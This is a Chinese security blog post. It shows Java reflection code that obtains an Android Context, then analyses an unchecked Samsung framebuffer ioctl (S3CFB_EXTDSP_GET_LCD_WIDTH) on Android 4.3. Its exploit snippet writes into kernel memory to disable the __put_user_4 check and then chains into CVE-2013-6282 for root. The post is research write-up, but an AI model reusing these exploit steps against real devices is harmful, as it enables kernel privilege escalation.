这篇文章获取Context方法是受限的，如果你是注入或者被加载的jar包就不能使用
http://blog.csdn.net/hyx1990/article/details/7584789

这时候需要更本质上的方法，Client端大多数结构都是放在ActivityThread中的，反射去取

    public static Context getGlobalApplicationContext()
{
    // ActivityThread at = ActivityThread.currentActivityThread();
    //Class clazz  = ReflectionHelper.getClass("android.app.ActivityThread");

    Class[] type = null;
    Object[] args = null;

    Object AT = ReflectionHelper.invokeStaticMethod("android.app.ActivityThread", type, "currentActivityThread", args);

    if (AT!=null) {
        Object appObject =  ReflectionHelper.invokeNonStaticMethod(AT, type,"getApplication", args);

        if (appObject!=null && appObject instanceof Context) {

            return (Context)appObject;

        }
    }

    return null;
}

这应该是一个老漏洞了，但是我没搜到CVE号，难道是太老了？在4.3的9300上面利用成功

利用代码：

int fd = open("/dev/graphics/fb5",O_RDONLY);
ret = ioctl(fd,0x8004472e,__put_user4_addr);

这个设备对应到内核源码，应该是S3CFB_EXTDSP_GET_LCD_WIDTH这个控制码，对传入的地址argp不做校验直接操作，造成一个“对任意地址写指定内存”的内核驱动漏洞

case S3CFB_EXTDSP_GET_LCD_WIDTH:
    ret = memcpy(argp, &lcd->width, sizeof(int)) ? 0 : -EFAULT;
    if (ret) {
        dev_err(fbdev->dev, "failed to S3CFB_EXTDSP_GET_LCD_WIDTH\n");
        break;
    }

    break;

case S3CFB_EXTDSP_GET_LCD_HEIGHT:
    ret = memcpy(argp, &lcd->height, sizeof(int)) ? 0 : -EFAULT;
    if (ret) {
        dev_err(fbdev->dev, "failed to S3CFB_EXTDSP_GET_LCD_HEIGHT\n");
        break;
    }

    break;

POC的效果是将0x780 patch到__put_user_4 + 0x8的这个地方，这里原来是0xE3500000，也就是cmp r0,0

这时候便被patch成了ANDEQ R0, R0, R0,LSL#15

那么再看一下对__put_user4的汇编代码

ENTRY(__put_user_4)
    check_uaccess r0, 4, r1, ip, __put_user_bad ;这是个校验用户态内存的宏，其中cmp r0,0是关键的判断语句
4: TUSER(str)   r2, [r0]
    mov r0, #0
    mov pc, lr
ENDPROC(__put_user_4)

POC等于是废掉了put_user的校验造出了CVE-2013-6282的老洞

接下来利用CVE-2013-6282的POC提权即可

新博客的第一篇，就献给我曾经的博客们了
写这一篇时新域名还没有propagation完毕。
去年十月中旬转战移动互联网安全。
我的baidu blog记录了我从高中开始学习Windows内核的各种笔记。后来我又将技术文章移到CSDN，http://blog.csdn.net/shevacoming?viewmode=contents可以查看那些文章。